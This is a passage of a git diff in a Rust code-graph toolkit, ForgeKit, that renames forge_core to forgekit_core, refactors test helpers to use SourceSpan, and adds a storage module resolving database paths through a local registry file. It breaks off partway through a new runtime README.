.add_symbol( + "c", + "Function", + "c", + &SourceSpan::new("f.rs", 3, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); kg.add_edge(a, b, "calls", serde_json::json!({})) @@ -355,13 +433,34 @@ mod tests { fn test_reachability() { let (_temp, kg) = open_kg(); let a = kg - .add_symbol("a", "Function", "a", "f.rs", 1, 0, 10, "Rust", None) + .add_symbol( + "a", + "Function", + "a", + &SourceSpan::new("f.rs", 1, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let b = kg - .add_symbol("b", "Function", "b", "f.rs", 2, 0, 10, "Rust", None) + .add_symbol( + "b", + "Function", + "b", + &SourceSpan::new("f.rs", 2, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let c = kg - .add_symbol("c", "Function", "c", "f.rs", 3, 0, 10, "Rust", None) + .add_symbol( + "c", + "Function", + "c", + &SourceSpan::new("f.rs", 3, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); kg.add_edge(a, b, "calls", serde_json::json!({})) @@ -380,13 +479,34 @@ mod tests { fn test_k_hop() { let (_temp, kg) = open_kg(); let a = kg - .add_symbol("a", "Function", "a", "f.rs", 1, 0, 10, "Rust", None) + .add_symbol( + "a", + "Function", + "a", + &SourceSpan::new("f.rs", 1, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let b = kg - .add_symbol("b", "Function", "b", "f.rs", 2, 0, 10, "Rust", None) + .add_symbol( + "b", + "Function", + "b", + &SourceSpan::new("f.rs", 2, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); let c = kg - .add_symbol("c", "Function", "c", "f.rs", 3, 0, 10, "Rust", None) + .add_symbol( + "c", + "Function", + "c", + &SourceSpan::new("f.rs", 3, 0, 10), + "Rust", + None, + ) .expect("invariant: fresh graph accepts inserts"); kg.add_edge(a, b, "calls", serde_json::json!({})) diff --git a/forge_core/src/knowledge/types.rs b/forgekit_core/src/knowledge/types.rs similarity index 100% rename from forge_core/src/knowledge/types.rs rename to forgekit_core/src/knowledge/types.rs diff --git a/forge_core/src/lib.rs b/forgekit_core/src/lib.rs similarity index 99% rename from forge_core/src/lib.rs rename to forgekit_core/src/lib.rs index 6a1b4e1..be3d7b2 100644 --- a/forge_core/src/lib.rs +++ b/forgekit_core/src/lib.rs @@ -14,7 +14,7 @@ //! # Quick Start //! //! ```rust,no_run -//! use forge_core::Forge; +//! use forgekit_core::Forge; //! //! #[tokio::main] //! async fn main() -> anyhow::Result<()> { diff --git a/forge_core/src/pool.rs b/forgekit_core/src/pool.rs similarity index 97% rename from forge_core/src/pool.rs rename to forgekit_core/src/pool.rs index 3db749f..2d2cd37 100644 --- a/forge_core/src/pool.rs +++ b/forgekit_core/src/pool.rs @@ -14,7 +14,7 @@ use tokio::sync::Semaphore; /// # Examples /// /// ```no_run -/// use forge_core::pool::ConnectionPool; +/// use forgekit_core::pool::ConnectionPool; /// /// # #[tokio::main] /// # async fn main() -> anyhow::Result<()> { @@ -47,7 +47,7 @@ impl ConnectionPool { /// # Examples /// /// ```no_run - /// use forge_core::pool::ConnectionPool; + /// use forgekit_core::pool::ConnectionPool; /// /// let pool = ConnectionPool::new("./db.sqlite", 10); /// ``` @@ -71,7 +71,7 @@ impl ConnectionPool { /// # Examples /// /// ```no_run - /// # use forge_core::pool::ConnectionPool; + /// # use forgekit_core::pool::ConnectionPool; /// # #[tokio::main] /// # async fn main() -> anyhow::Result<()> { /// # let pool = ConnectionPool::new("./db.sqlite", 10); @@ -94,7 +94,7 @@ impl ConnectionPool { /// # Examples /// /// ```no_run - /// # use forge_core::pool::ConnectionPool; + /// # use forgekit_core::pool::ConnectionPool; /// # let pool = ConnectionPool::new("./db.sqlite", 10); /// let available = pool.available_connections(); /// println!("Available connections: {}", available); @@ -113,7 +113,7 @@ impl ConnectionPool { /// # Examples /// /// ```no_run - /// # use forge_core::pool::ConnectionPool; + /// # use forgekit_core::pool::ConnectionPool; /// # #[tokio::main] /// # async fn main() -> anyhow::Result<()> { /// # let pool = ConnectionPool::new("./db.sqlite", 10); @@ -159,7 +159,7 @@ impl ConnectionPermit { /// # Examples /// /// ```no_run - /// # use forge_core::pool::ConnectionPool; + /// # use forgekit_core::pool::ConnectionPool; /// # #[tokio::main] /// # async fn main() -> anyhow::Result<()> { /// # let pool = ConnectionPool::new("./db.sqlite", 10); diff --git a/forge_core/src/progress/mod.rs b/forgekit_core/src/progress/mod.rs similarity index 100% rename from forge_core/src/progress/mod.rs rename to forgekit_core/src/progress/mod.rs diff --git a/forge_core/src/project/mod.rs b/forgekit_core/src/project/mod.rs similarity index 100% rename from forge_core/src/project/mod.rs rename to forgekit_core/src/project/mod.rs diff --git a/forge_core/src/runtime.rs b/forgekit_core/src/runtime.rs similarity index 99% rename from forge_core/src/runtime.rs rename to forgekit_core/src/runtime.rs index 4d9558c..8ec8658 100644 --- a/forge_core/src/runtime.rs +++ b/forgekit_core/src/runtime.rs @@ -20,7 +20,7 @@ use std::time::Duration; /// # Examples /// /// ```no_run -/// use forge_core::runtime::Runtime; +/// use forgekit_core::runtime::Runtime; /// use std::path::PathBuf; /// /// # #[tokio::main] diff --git a/forge_core/src/search/mod.rs b/forgekit_core/src/search/mod.rs similarity index 100% rename from forge_core/src/search/mod.rs rename to forgekit_core/src/search/mod.rs diff --git a/forgekit_core/src/storage/mod.rs b/forgekit_core/src/storage/mod.rs new file mode 100644 index 0000000..d6c9dfd --- /dev/null +++ b/forgekit_core/src/storage/mod.rs @@ -0,0 +1,182 @@ +//! Storage abstraction layer supporting dual backends. +//! +//! This module provides graph-based storage for ForgeKit with support for both +//! SQLite and Native V3 backends. Users choose the backend based on their needs. +//! +//! # Backend Selection +//! +//! | Feature | SQLite Backend | Native V3 Backend | +//! |---------|----------------|-------------------| +//! | ACID Transactions | βœ… Full | βœ… WAL-based | +//! | Raw SQL Access | βœ… Yes | ❌ No | +//! | Dependencies | libsqlite3 | Pure Rust | +//! | Startup Time | Fast | Faster | +//! | Tool Compatibility | magellan, llmgrep, mirage, splice (current) | Updated tools | +//! +//! # Examples +//! +//! ```rust,no_run +//! use forgekit_core::storage::{UnifiedGraphStore, BackendKind}; +//! +//! # #[tokio::main] +//! # async fn main() -> anyhow::Result<()> { +//! // Use SQLite backend (default, stable) +//! let store = UnifiedGraphStore::open("./codebase", BackendKind::SQLite).await?; +//! +//! // Or use Native V3 backend (updated tools required) +//! let store = UnifiedGraphStore::open("./codebase", BackendKind::NativeV3).await?; +//! # Ok(()) +//! # } +//! ``` + +mod ops; +mod store; +#[cfg(test)] +mod tests; + +pub use sqlitegraph::backend::{EdgeSpec, NodeSpec}; +pub use sqlitegraph::config::{open_graph, BackendKind as SqliteGraphBackendKind, GraphConfig}; +pub use sqlitegraph::graph::{GraphEntity, SqliteGraph}; + +pub use store::UnifiedGraphStore; + +use std::path::{Path, PathBuf}; + +/// Resolve the database path for a project by consulting the magellan registry, +/// falling back to the `~/.magellan//.db` convention. +/// +/// The magellan registry at `~/.config/magellan/registry.toml` maps project roots +/// to database paths. When a project root matches (or is a parent of) the given +/// `project_root`, the registered DB path is returned. +/// +/// For workspace monorepos (e.g. forge with forgekit-core, forgekit-agent), each crate +/// is registered separately with its own `src/` root and DB path. +pub fn default_db_path(project_root: &Path) -> PathBuf { + if let Some(db) = lookup_registry(project_root) { + return db; + } + + fallback_db_path(project_root) +} + +fn fallback_db_path(project_root: &Path) -> PathBuf { + let stem = project_root + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or("graph"); + let home = std::env::var("HOME").unwrap_or_else(|_| "/tmp".to_string()); + PathBuf::from(home) + .join(".magellan") + .join(stem) + .join(format!("{}.db", stem)) +} + +fn lookup_registry(project_root: &Path) -> Option { + let home = std::env::var("HOME").ok()?; + let registry_path = PathBuf::from(&home) + .join(".config") + .join("magellan") + .join("registry.toml"); + + let content = std::fs::read_to_string(®istry_path).ok()?; + + let canonical_root = project_root + .canonicalize() + .ok() + .unwrap_or_else(|| project_root.to_path_buf()); + + for block in content.split("[[project]]") { + let mut name = None; + let mut root = None; + let mut db = None; + + for line in block.lines() { + let trimmed = line.trim(); + if let Some(rest) = trimmed.strip_prefix("name = ") { + name = parse_toml_string(rest); + } else if let Some(rest) = trimmed.strip_prefix("root = ") { + root = parse_toml_string(rest); + } else if let Some(rest) = trimmed.strip_prefix("db = ") { + db = parse_toml_string(rest); + } + } + + if let (Some(proj_root), Some(proj_db)) = (root, db) { + let proj_root_path = Path::new(&proj_root); + if canonical_root.starts_with(proj_root_path) + || proj_root_path.starts_with(&canonical_root) + || paths_equal_after_src_strip(&canonical_root, proj_root_path) + { + return Some(PathBuf::from(proj_db)); + } + } + + let _ = name; + } + + None +} + +fn paths_equal_after_src_strip(a: &Path, b: &Path) -> bool { + let a_str = a.to_string_lossy(); + let b_str = b.to_string_lossy(); + + if let Some(a_stripped) = a_str.strip_suffix("/src") { + if a_stripped == b_str { + return true; + } + } + if let Some(b_stripped) = b_str.strip_suffix("/src") { + if b_stripped == a_str { + return true; + } + } + false +} + +fn parse_toml_string(s: &str) -> Option { + s.trim() + .strip_prefix('"') + .and_then(|s| s.strip_suffix('"')) + .map(|s| s.to_string()) +} + +#[derive(Clone, Copy, Debug, PartialEq, Eq, Default)] +pub enum BackendKind { + #[default] + SQLite, + NativeV3, +} + +impl std::fmt::Display for BackendKind { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::SQLite => write!(f, "SQLite"), + Self::NativeV3 => write!(f, "NativeV3"), + } + } +} + +impl BackendKind { + #[cfg(test)] + fn to_sqlitegraph_kind(self) -> SqliteGraphBackendKind { + match self { + Self::SQLite => SqliteGraphBackendKind::SQLite, + Self::NativeV3 => SqliteGraphBackendKind::Native, + } + } + + pub fn file_extension(&self) -> &str { + match self { + Self::SQLite => "db", + Self::NativeV3 => "v3", + } + } + + pub fn default_filename(&self) -> &str { + match self { + Self::SQLite => "graph.db", + Self::NativeV3 => "graph.v3", + } + } +} diff --git a/forge_core/src/storage/ops.rs b/forgekit_core/src/storage/ops.rs similarity index 100% rename from forge_core/src/storage/ops.rs rename to forgekit_core/src/storage/ops.rs diff --git a/forge_core/src/storage/store.rs b/forgekit_core/src/storage/store.rs similarity index 100% rename from forge_core/src/storage/store.rs rename to forgekit_core/src/storage/store.rs diff --git a/forge_core/src/storage/tests.rs b/forgekit_core/src/storage/tests.rs similarity index 73% rename from forge_core/src/storage/tests.rs rename to forgekit_core/src/storage/tests.rs index 58b8b5e..d46a7d3 100644 --- a/forge_core/src/storage/tests.rs +++ b/forgekit_core/src/storage/tests.rs @@ -115,8 +115,12 @@ async fn test_query_symbols_empty() { } #[tokio::test] -async fn test_insert_reference_placeholder() { - let store = UnifiedGraphStore::memory().await.unwrap(); +async fn test_insert_reference_and_query() { + // References are only persisted on the NativeV3 backend. + let dir = tempfile::tempdir().unwrap(); + let store = UnifiedGraphStore::open(dir.path(), BackendKind::NativeV3) + .await + .unwrap(); let reference = Reference { from: SymbolId(1), @@ -133,6 +137,20 @@ async fn test_insert_reference_placeholder() { }; store.insert_reference(&reference).await.unwrap(); + + // Round-trip: the inserted reference should be retrievable by its target. + let refs = store.query_references(SymbolId(2)).await.unwrap(); + assert_eq!(refs.len(), 1, "inserted reference should be retrievable"); + assert_eq!(refs[0].kind, ReferenceKind::Call); + assert_eq!(refs[0].location.file_path, PathBuf::from("src/lib.rs")); + assert_eq!(refs[0].location.line_number, 2); + + // Querying a different symbol must return nothing β€” proves the query discriminates. + let empty = store.query_references(SymbolId(999)).await.unwrap(); + assert!( + empty.is_empty(), + "unrelated symbol should have no references" + ); } #[tokio::test] @@ -232,14 +250,86 @@ fn test_default_db_path_uses_home_dot_magellan() { let project = std::path::Path::new("/home/user/Projects/my-cool-project"); let db = default_db_path(project); assert!(db.to_string_lossy().contains(".magellan")); - assert!(db.to_string_lossy().ends_with("my-cool-project.db")); + assert!(db.to_string_lossy().contains("my-cool-project")); } #[test] fn test_default_db_path_fallback_stem() { let project = std::path::Path::new("/"); let db = default_db_path(project); - assert!(db.to_string_lossy().ends_with(".magellan/graph.db")); + assert!(db.to_string_lossy().contains(".magellan")); +} + +#[test] +fn test_fallback_db_path_uses_subdirectory() { + let project = std::path::Path::new("/home/user/Projects/geographdb-core"); + let db = fallback_db_path(project); + let db_str = db.to_string_lossy(); + assert!( + db_str.contains(".magellan/geographdb-core/geographdb-core.db"), + "expected subdirectory convention, got: {}", + db_str + ); +} + +#[test] +fn test_lookup_registry_finds_forgekit_core() { + let src_dir = std::path::Path::new("/home/feanor/Projects/forge/forgekit_core/src"); + if !src_dir.exists() { + return; + } + let db = default_db_path(src_dir); + let db_str = db.to_string_lossy(); + assert!( + db_str.contains("forge/forgekit-core.db"), + "expected registry match for forgekit_core/src, got: {}", + db_str + ); +} + +#[test] +fn test_lookup_registry_finds_forgekit_agent() { + let src_dir = std::path::Path::new("/home/feanor/Projects/forge/forgekit_agent/src"); + if !src_dir.exists() { + return; + } + let db = default_db_path(src_dir); + let db_str = db.to_string_lossy(); + assert!( + db_str.contains("forge/forgekit-agent.db"), + "expected registry match for forgekit_agent/src, got: {}", + db_str + ); +} + +#[test] +fn test_lookup_registry_from_codebase_path_without_src() { + let crate_dir = std::path::Path::new("/home/feanor/Projects/forge/forgekit_core"); + if !crate_dir.exists() { + return; + } + let db = default_db_path(crate_dir); + let db_str = db.to_string_lossy(); + assert!( + db_str.contains("forge/forgekit-core.db"), + "expected registry match for forgekit_core (without /src), got: {}", + db_str + ); +} + +#[test] +fn test_lookup_registry_from_agent_codebase_path() { + let crate_dir = std::path::Path::new("/home/feanor/Projects/forge/forgekit_agent"); + if !crate_dir.exists() { + return; + } + let db = default_db_path(crate_dir); + let db_str = db.to_string_lossy(); + assert!( + db_str.contains("forge/forgekit-agent.db"), + "expected registry match for forgekit_agent (without /src), got: {}", + db_str + ); } fn make_symbol(name: &str) -> Symbol { diff --git a/forge_core/src/treesitter/c.rs b/forgekit_core/src/treesitter/c.rs similarity index 100% rename from forge_core/src/treesitter/c.rs rename to forgekit_core/src/treesitter/c.rs diff --git a/forge_core/src/treesitter/cfg_builder.rs b/forgekit_core/src/treesitter/cfg_builder.rs similarity index 100% rename from forge_core/src/treesitter/cfg_builder.rs rename to forgekit_core/src/treesitter/cfg_builder.rs diff --git a/forge_core/src/treesitter/java.rs b/forgekit_core/src/treesitter/java.rs similarity index 100% rename from forge_core/src/treesitter/java.rs rename to forgekit_core/src/treesitter/java.rs diff --git a/forge_core/src/treesitter/mod.rs b/forgekit_core/src/treesitter/mod.rs similarity index 100% rename from forge_core/src/treesitter/mod.rs rename to forgekit_core/src/treesitter/mod.rs diff --git a/forge_core/src/treesitter/rust.rs b/forgekit_core/src/treesitter/rust.rs similarity index 100% rename from forge_core/src/treesitter/rust.rs rename to forgekit_core/src/treesitter/rust.rs diff --git a/forge_core/src/types.rs b/forgekit_core/src/types.rs similarity index 100% rename from forge_core/src/types.rs rename to forgekit_core/src/types.rs diff --git a/forge_core/src/watcher.rs b/forgekit_core/src/watcher.rs similarity index 97% rename from forge_core/src/watcher.rs rename to forgekit_core/src/watcher.rs index 34073f9..1fb7d17 100644 --- a/forge_core/src/watcher.rs +++ b/forgekit_core/src/watcher.rs @@ -34,10 +34,13 @@ pub struct Watcher { /// Channel sender for watch events. sender: mpsc::UnboundedSender, /// The underlying notify watcher (kept alive to continue watching). - #[allow(clippy::type_complexity)] - inner: Arc>>, + inner: WatchHandle, } +/// Notify watcher handle, kept behind a parking-lot mutex so it can be swapped +/// (e.g. paused) from any thread without risking poison on a panic. +type WatchHandle = Arc>>; + impl Watcher { /// Creates a new watcher instance. /// @@ -49,7 +52,7 @@ impl Watcher { Self { _store: store, sender, - inner: Arc::new(std::sync::Mutex::new(None)), + inner: Arc::new(parking_lot::Mutex::new(None)), } } @@ -116,7 +119,7 @@ impl Watcher { watcher.watch(&path, RecursiveMode::Recursive)?; // Store the watcher to keep it alive - *self.inner.lock().unwrap() = Some(watcher); + *self.inner.lock() = Some(watcher); Ok(()) } diff --git a/forge_core/src/workspace/mod.rs b/forgekit_core/src/workspace/mod.rs similarity index 100% rename from forge_core/src/workspace/mod.rs rename to forgekit_core/src/workspace/mod.rs diff --git a/forge_core/tests/accessor_tests.rs b/forgekit_core/tests/accessor_tests.rs similarity index 98% rename from forge_core/tests/accessor_tests.rs rename to forgekit_core/tests/accessor_tests.rs index 4ef9b9b..ba5778b 100644 --- a/forge_core/tests/accessor_tests.rs +++ b/forgekit_core/tests/accessor_tests.rs @@ -1,6 +1,6 @@ //! Integration tests for module accessors. -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::test] async fn test_all_accessors_work() { diff --git a/forge_core/tests/e2e/README.md b/forgekit_core/tests/e2e/README.md similarity index 100% rename from forge_core/tests/e2e/README.md rename to forgekit_core/tests/e2e/README.md diff --git a/forge_core/tests/e2e/mod.rs b/forgekit_core/tests/e2e/mod.rs similarity index 100% rename from forge_core/tests/e2e/mod.rs rename to forgekit_core/tests/e2e/mod.rs diff --git a/forge_core/tests/e2e/reports/FINAL_SUMMARY.md b/forgekit_core/tests/e2e/reports/FINAL_SUMMARY.md similarity index 98% rename from forge_core/tests/e2e/reports/FINAL_SUMMARY.md rename to forgekit_core/tests/e2e/reports/FINAL_SUMMARY.md index 237eccf..07c74d0 100644 --- a/forge_core/tests/e2e/reports/FINAL_SUMMARY.md +++ b/forgekit_core/tests/e2e/reports/FINAL_SUMMARY.md @@ -2,7 +2,7 @@ ## Overview -This report summarizes the TDD-based end-to-end test implementation for the `forge_core` crate (ForgeKit SDK). +This report summarizes the TDD-based end-to-end test implementation for the `forgekit_core` crate (ForgeKit SDK). | Metric | Value | |--------|-------| @@ -36,7 +36,7 @@ This report summarizes the TDD-based end-to-end test implementation for the `for Real CFG extraction implementation for C, Java, and Rust using tree-sitter: ```rust -// New module: forge_core/src/treesitter/mod.rs +// New module: forgekit_core/src/treesitter/mod.rs pub struct CfgExtractor; impl CfgExtractor { diff --git a/forge_core/tests/e2e/reports/WAVE_05_CFG_REPORT.md b/forgekit_core/tests/e2e/reports/WAVE_05_CFG_REPORT.md similarity index 100% rename from forge_core/tests/e2e/reports/WAVE_05_CFG_REPORT.md rename to forgekit_core/tests/e2e/reports/WAVE_05_CFG_REPORT.md diff --git a/forge_core/tests/e2e/reports/WAVE_06_ANALYSIS_REPORT.md b/forgekit_core/tests/e2e/reports/WAVE_06_ANALYSIS_REPORT.md similarity index 100% rename from forge_core/tests/e2e/reports/WAVE_06_ANALYSIS_REPORT.md rename to forgekit_core/tests/e2e/reports/WAVE_06_ANALYSIS_REPORT.md diff --git a/forge_core/tests/e2e/reports/WAVE_07_WORKFLOW_REPORT.md b/forgekit_core/tests/e2e/reports/WAVE_07_WORKFLOW_REPORT.md similarity index 100% rename from forge_core/tests/e2e/reports/WAVE_07_WORKFLOW_REPORT.md rename to forgekit_core/tests/e2e/reports/WAVE_07_WORKFLOW_REPORT.md diff --git a/forge_core/tests/e2e/reports/WAVE_08_TREESITTER_CFG_REPORT.md b/forgekit_core/tests/e2e/reports/WAVE_08_TREESITTER_CFG_REPORT.md similarity index 98% rename from forge_core/tests/e2e/reports/WAVE_08_TREESITTER_CFG_REPORT.md rename to forgekit_core/tests/e2e/reports/WAVE_08_TREESITTER_CFG_REPORT.md index 729c82a..1e57a0b 100644 --- a/forge_core/tests/e2e/reports/WAVE_08_TREESITTER_CFG_REPORT.md +++ b/forgekit_core/tests/e2e/reports/WAVE_08_TREESITTER_CFG_REPORT.md @@ -19,7 +19,7 @@ Wave 8 implements **real CFG (Control Flow Graph) extraction** for C, Java, and ### Tree-sitter Integration ```rust -// New module: forge_core/src/treesitter/mod.rs +// New module: forgekit_core/src/treesitter/mod.rs pub struct CfgExtractor; impl CfgExtractor { @@ -144,7 +144,7 @@ Rust CFG extraction is functional but labeled as **Beta** because: ### Extracting CFG from Source Files ```rust -use forge_core::Forge; +use forgekit_core::Forge; let forge = Forge::open("./my-project").await?; diff --git a/forge_core/tests/e2e/wave_01_core.rs b/forgekit_core/tests/e2e/wave_01_core.rs similarity index 98% rename from forge_core/tests/e2e/wave_01_core.rs rename to forgekit_core/tests/e2e/wave_01_core.rs index ce32e5d..c7f04c2 100644 --- a/forge_core/tests/e2e/wave_01_core.rs +++ b/forgekit_core/tests/e2e/wave_01_core.rs @@ -2,7 +2,7 @@ //! //! Tests for Forge initialization, storage backends, and basic lifecycle. -use forge_core::{BackendKind, Forge}; +use forgekit_core::{BackendKind, Forge}; use std::path::PathBuf; use tempfile::tempdir; diff --git a/forge_core/tests/e2e/wave_02_graph.rs b/forgekit_core/tests/e2e/wave_02_graph.rs similarity index 99% rename from forge_core/tests/e2e/wave_02_graph.rs rename to forgekit_core/tests/e2e/wave_02_graph.rs index e604eea..28eba1d 100644 --- a/forge_core/tests/e2e/wave_02_graph.rs +++ b/forgekit_core/tests/e2e/wave_02_graph.rs @@ -2,7 +2,7 @@ //! //! Tests for symbol lookup, references, and graph navigation. -use forge_core::Forge; +use forgekit_core::Forge; use std::io::Write; use tempfile::tempdir; diff --git a/forge_core/tests/e2e/wave_03_search.rs b/forgekit_core/tests/e2e/wave_03_search.rs similarity index 99% rename from forge_core/tests/e2e/wave_03_search.rs rename to forgekit_core/tests/e2e/wave_03_search.rs index 98fd0a2..a480cb2 100644 --- a/forge_core/tests/e2e/wave_03_search.rs +++ b/forgekit_core/tests/e2e/wave_03_search.rs @@ -2,7 +2,7 @@ //! //! Tests for pattern-based and semantic code search. -use forge_core::Forge; +use forgekit_core::Forge; use std::io::Write; use tempfile::tempdir; diff --git a/forge_core/tests/e2e/wave_04_edit.rs b/forgekit_core/tests/e2e/wave_04_edit.rs similarity index 99% rename from forge_core/tests/e2e/wave_04_edit.rs rename to forgekit_core/tests/e2e/wave_04_edit.rs index cf93173..119bbc4 100644 --- a/forge_core/tests/e2e/wave_04_edit.rs +++ b/forgekit_core/tests/e2e/wave_04_edit.rs @@ -2,7 +2,7 @@ //! //! Tests for span-safe code refactoring operations. -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::test] async fn e2e_edit_patch_symbol_function() { diff --git a/forge_core/tests/e2e/wave_05_cfg.rs b/forgekit_core/tests/e2e/wave_05_cfg.rs similarity index 98% rename from forge_core/tests/e2e/wave_05_cfg.rs rename to forgekit_core/tests/e2e/wave_05_cfg.rs index ea0afa8..93c62c6 100644 --- a/forge_core/tests/e2e/wave_05_cfg.rs +++ b/forgekit_core/tests/e2e/wave_05_cfg.rs @@ -2,7 +2,7 @@ //! //! Tests for control flow graph analysis operations. -use forge_core::{types::SymbolId, Forge}; +use forgekit_core::{types::SymbolId, Forge}; #[tokio::test] async fn e2e_cfg_index() { diff --git a/forge_core/tests/e2e/wave_06_analysis.rs b/forgekit_core/tests/e2e/wave_06_analysis.rs similarity index 99% rename from forge_core/tests/e2e/wave_06_analysis.rs rename to forgekit_core/tests/e2e/wave_06_analysis.rs index b30af83..fae5070 100644 --- a/forge_core/tests/e2e/wave_06_analysis.rs +++ b/forgekit_core/tests/e2e/wave_06_analysis.rs @@ -2,7 +2,7 @@ //! //! Tests for combined analysis operations using graph, CFG, and edit modules. -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::test] async fn e2e_analysis_impact_analysis_exists() { diff --git a/forge_core/tests/e2e/wave_07_workflow.rs b/forgekit_core/tests/e2e/wave_07_workflow.rs similarity index 99% rename from forge_core/tests/e2e/wave_07_workflow.rs rename to forgekit_core/tests/e2e/wave_07_workflow.rs index bf8f037..8cad027 100644 --- a/forge_core/tests/e2e/wave_07_workflow.rs +++ b/forgekit_core/tests/e2e/wave_07_workflow.rs @@ -2,7 +2,7 @@ //! //! End-to-end workflows combining all ForgeKit modules. -use forge_core::Forge; +use forgekit_core::Forge; #[tokio::test] async fn e2e_workflow_open_and_query() { diff --git a/forge_core/tests/e2e_tests.rs b/forgekit_core/tests/e2e_tests.rs similarity index 100% rename from forge_core/tests/e2e_tests.rs rename to forgekit_core/tests/e2e_tests.rs diff --git a/forge_core/tests/integration_modules_test.rs b/forgekit_core/tests/integration_modules_test.rs similarity index 94% rename from forge_core/tests/integration_modules_test.rs rename to forgekit_core/tests/integration_modules_test.rs index 7d76813..bd4b6e9 100644 --- a/forge_core/tests/integration_modules_test.rs +++ b/forgekit_core/tests/integration_modules_test.rs @@ -1,6 +1,6 @@ //! Integration test for core runtime modules (Watcher, Indexing, Cache) -use forge_core::{PathFilter, QueryCache, WatchEvent, Watcher}; +use forgekit_core::{PathFilter, QueryCache, WatchEvent, Watcher}; use std::path::PathBuf; use std::time::Duration; diff --git a/forge_core/tests/pubsub_integration_tests.rs b/forgekit_core/tests/pubsub_integration_tests.rs similarity index 97% rename from forge_core/tests/pubsub_integration_tests.rs rename to forgekit_core/tests/pubsub_integration_tests.rs index 69b5cc0..bff51c5 100644 --- a/forge_core/tests/pubsub_integration_tests.rs +++ b/forgekit_core/tests/pubsub_integration_tests.rs @@ -9,7 +9,7 @@ //! - KV store changes //! - Transaction commits -use forge_core::{BackendKind, Forge}; +use forgekit_core::{BackendKind, Forge}; // ============================================================================= // Helper Functions @@ -115,7 +115,7 @@ async fn test_backend_consistency() { #[tokio::test] async fn test_database_persistence_sqlite() { let temp = create_test_repo().await; - let db_path = forge_core::storage::default_db_path(temp.path()); + let db_path = forgekit_core::storage::default_db_path(temp.path()); // Create initial database { @@ -145,7 +145,7 @@ async fn test_database_persistence_sqlite() { #[tokio::test] async fn test_database_persistence_native_v3() { let temp = create_test_repo().await; - let db_path = forge_core::storage::default_db_path(temp.path()); + let db_path = forgekit_core::storage::default_db_path(temp.path()); // Create initial database { diff --git a/forge_core/tests/tool_integration_tests.rs b/forgekit_core/tests/tool_integration_tests.rs similarity index 99% rename from forge_core/tests/tool_integration_tests.rs rename to forgekit_core/tests/tool_integration_tests.rs index a4f9285..3b1c5c2 100644 --- a/forge_core/tests/tool_integration_tests.rs +++ b/forgekit_core/tests/tool_integration_tests.rs @@ -8,7 +8,7 @@ //! //! Both SQLite and Native V3 backends are tested. -use forge_core::{BackendKind, Forge}; +use forgekit_core::{BackendKind, Forge}; use std::sync::Arc; // ============================================================================= diff --git a/forge_runtime/Cargo.toml b/forgekit_runtime/Cargo.toml similarity index 53% rename from forge_runtime/Cargo.toml rename to forgekit_runtime/Cargo.toml index 66c119d..d38939e 100644 --- a/forge_runtime/Cargo.toml +++ b/forgekit_runtime/Cargo.toml @@ -1,29 +1,30 @@ [package] -name = "forge-runtime" -version = "0.1.2" +name = "forgekit-runtime" +version = "0.5.0" edition = "2021" -license = "GPL-3.0-or-later" +license = "GPL-3.0-only" repository = "https://github.com/oldnordic/forge" readme = "README.md" description = "ForgeKit runtime layer - Indexing and caching" [lib] -name = "forge_runtime" +name = "forgekit_runtime" path = "src/lib.rs" [features] -default = ["sqlite", "forge-core/default"] +default = ["sqlite", "forgekit-core/default"] -# Storage backends (passed to forge_core) -sqlite = ["forge-core/sqlite"] -full = ["sqlite", "forge-core/default"] +# Storage backends (passed to forgekit_core) +sqlite = ["forgekit-core/sqlite"] +full = ["sqlite", "forgekit-core/default"] [dependencies] -forge-core = { version = "0.3.0", path = "../forge_core" } -sqlitegraph = { version = "3.0.7", default-features = false, optional = true } +forgekit-core = { version = "0.5.0", path = "../forgekit_core" } +sqlitegraph = { version = "3.2.5", default-features = false, optional = true } tokio = { version = "1", features = ["full"] } notify = "8" anyhow = "1" +parking_lot = "0.12" serde = { version = "1", features = ["derive"] } serde_json = "1" futures = "0.3" diff --git a/forgekit_runtime/README.md b/forgekit_runtime/README.md new file mode 100644 index 0000000..bf453ae --- /dev/null +++ b/forgekit_runtime/README.md @@ -0,0 +1,64 @@ +# forgekit-runtime + +[![Crates.io](https://img.shields.io/crates/v/forgekit-runtime)](https://crates.io/crates/forgekit-runtime) +[![Documentation](https://docs.rs/forgekit-runtime/badge.svg)](https://docs.rs/forgekit-runtime) +[![License: GPL-3.0](https://img.shields.io/badge/License-GPL%203.0-blue.svg)](https://opensource.org/licenses/GPL-3.0) + +**Status: alpha β€” work in progress. APIs may change until v1.0.** + +The runtime coordination layer for ForgeKit. Handles file watching, incremental +indexing, caching, and metrics so that a code graph stays in sync with a live +codebase without full re-indexing on every change. + +> **Alpha notice:** this crate is functional but the surface is still settling. +> `ForgeRuntime`, `RuntimeConfig`, and the metrics types may see breaking +> changes. What works: file watching, incremental re-indexing, query cache +> invalidation, metrics collection. What is experimental: the native-v3 backend +> path (see `forgekit_core` feature flags). + +## What this crate provides + +- **File watching** β€” monitors a codebase for changes and emits `WatchEvent`s. +- **Incremental indexing** β€” updates only the affected symbols/graph regions on + a file change, avoiding a full re-scan. +- **Query cache** β€” caches graph query results and invalidates them when the + underlying graph changes. +- **Metrics** β€” collects runtime statistics (`RuntimeMetrics`) covering index + flush counts, cache hit rates, and watcher health. + +This crate re-exports the core watcher/indexer types (`Watcher`, +`IncrementalIndexer`, `QueryCache`, `PathFilter`, `WatchEvent`, `FlushStats`) +from `forgekit_core` and wraps them in a managed `ForgeRuntime` that wires the +pieces together. + +## Quick Start + +```rust +use forgekit_runtime::{ForgeRuntime, RuntimeConfig}; + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + let config = RuntimeConfig::default(); + let runtime = ForgeRuntime::start("./my-project", config).await?; + + // The runtime now watches for file changes and keeps the graph fresh. + // Query the live metrics at any time: + let stats: RuntimeStats = runtime.stats(); + println!("Index flushes: {}", stats.flush_count); + + Ok(()) +} +``` + +## Relationship to other crates + +| Crate | Role | +|-------|------| +| `forgekit_core` | The SDK foundation: graph, 